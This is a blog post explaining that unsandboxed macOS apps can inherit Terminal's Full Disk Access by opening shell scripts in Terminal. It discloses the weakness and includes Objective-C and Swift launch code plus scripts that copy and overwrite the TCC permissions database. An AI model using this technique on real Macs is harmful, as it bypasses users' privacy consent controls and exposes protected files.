When System Integrity Protection (SIP) is enabled, as it is by default, macOS restricts apps from accessing certain files and folders such as ~/Desktop
, ~/Documents
, and ~/Downloads
. If I run a simple ls
command in Terminal,
% ls ~/Downloads
I get a Windows Vista style permission dialog.
And if I click "Don't Allow", then Terminal is not allowed to list the contents of the Downloads folder.
ls: /Users/jeff/Downloads: Operation not permitted
If I open the Privacy tab of the Security & Privacy pane of System Preferences (let's not talk about Ventura System Settings) and select Files and Folders in the list, I can see which apps have special access.
There are other restricted files and folders on macOS that have no specific user-configurable access permissions.
% ls ~/Library/Application\ Support/com.apple.TCC
ls: /Users/jeff/Library/Application Support/com.apple.TCC: Operation not permitted
Access to this folder is simply denied without asking permission. TCC stands for Transparency, Consent, and Control, the name of the macOS system that determines which apps have access to restricted files and folders. The TCC user database is stored inside the ~/Library/Application Support/com.apple.TCC
folder, so obviously this folder needs to be restricted too, otherwise unauthorized apps could edit the database and give themselves special permissions.
You can still grant an app access to all restricted files and folders, even the ones without specific user permissions, by enabling Full Disk Access for the app. The user interface for this is also in the Privacy tab of System Preferences.
Many expert Mac users grant Full Disk Access to Terminal app, because the permissions dialogs quickly become very annoying when you try to do things in Terminal, as we've already seen above. When Terminal has Full Disk Access, it can read or write any restricted files, including the TCC database itself.
% sqlite3 ~/Library/Application\ Support/com.apple.TCC/TCC.db .dump
What you may not realize is that if you grant Full Disk Access to Terminal, you thereby provide Full Disk Access to every unsandboxed app on your Mac too! And how can this be? The reason is that unsandboxed apps can open executable shell scripts in Terminal, and those scripts will execute with the permissions not of the opening app but rather with the permissions of Terminal, i.e. Full Disk Access.
Here's some Objective-C source code to open the script evil.sh
in Terminal app.
[[NSWorkspace sharedWorkspace]
openURLs:@[[[NSBundle mainBundle]
URLForResource:@"Evil" withExtension:@"sh"]]
withApplicationAtURL:[[NSWorkspace sharedWorkspace]
URLForApplicationWithBundleIdentifier:@"com.apple.Terminal"]
configuration:[NSWorkspaceOpenConfiguration configuration]
completionHandler:nil];
And the Swift translation.
NSWorkspace.shared.
open([Bundle.main.
url(forResource:"Evil", withExtension:"sh")!],
withApplicationAt:NSWorkspace.shared.
urlForApplication(withBundleIdentifier: "com.apple.Terminal")!,
configuration:NSWorkspace.OpenConfiguration.init(),
completionHandler:nil)
That's it, game over! Terminal will now follow any of the evil instructions of Evil.sh
with Full Disk Access. (In this case Evil.sh
is bundled with Evil.app
for convenience, but that's not a requirement.)
What can an evil app do with this power? How about copy an unreadable file to a readable location.
#!/bin/sh
cp "/Users/jeff/Library/Application Support/com.apple.TCC/TCC.db" /tmp/TCC.db
How about overwrite an unwritable file.
#!/bin/sh
mv "/tmp/Evil.db" "/Users/jeff/Library/Application Support/com.apple.TCC/TCC.db"
The possibilities are endless. Anything Terminal can do, an evil app can do, because an evil app and indeed any unsandboxed app has full control over Terminal.
If you think the solution to this problem is simply to withhold Full Disk Access from Terminal: it's not that simple! Every unsandboxed app effectively has all of the permissions of Terminal, whatever those permissions happen to be. If you grant Terminal access to the Downloads folder, then every unsandboxed app has access to the Downloads folder. Likewise for Desktop, Documents, Calendars, Contacts, anything in the Privacy preferences. As long as an app can open an executable shell script in Terminal, the app can do whatever Terminal can do. Full Disk Access is the pinnacle of file and folder access, but there are many levels of special access below the pinnacle. If you grant Terminal any permissions at all, those permissions will naturally trickle down to other apps.
I keep mentioning unsandboxed apps because the technique described in this blog post doesn't work for sandboxed apps. When a sandboxed app attempts to open an executable shell script in Terminal, an error occurs. (Technically, the error is kLSAppDoesNotClaimTypeErr
, which Apple's developer documentation falsely claims is "Not currently used.")
Does this imply that you should never install apps from outside the Mac App Store, which requires sandboxing? No, I don't think so. I've been using macOS — or Mac OS X — for 20 years, before TCC was introduced, before the Mac App Store was introduced, before Gatekeeper was introduced, and it was fine. It was great. In the old days, every app had full disk access, and I wasn't particularly worried. But it's always necessary to be careful and selective about which software developers to trust, whether outside or inside the App Store. (By the way, I believe there are still some non-sandboxed apps in the Mac App Store that predated the sandbox requirement and have been allowed to continue with an exemption.)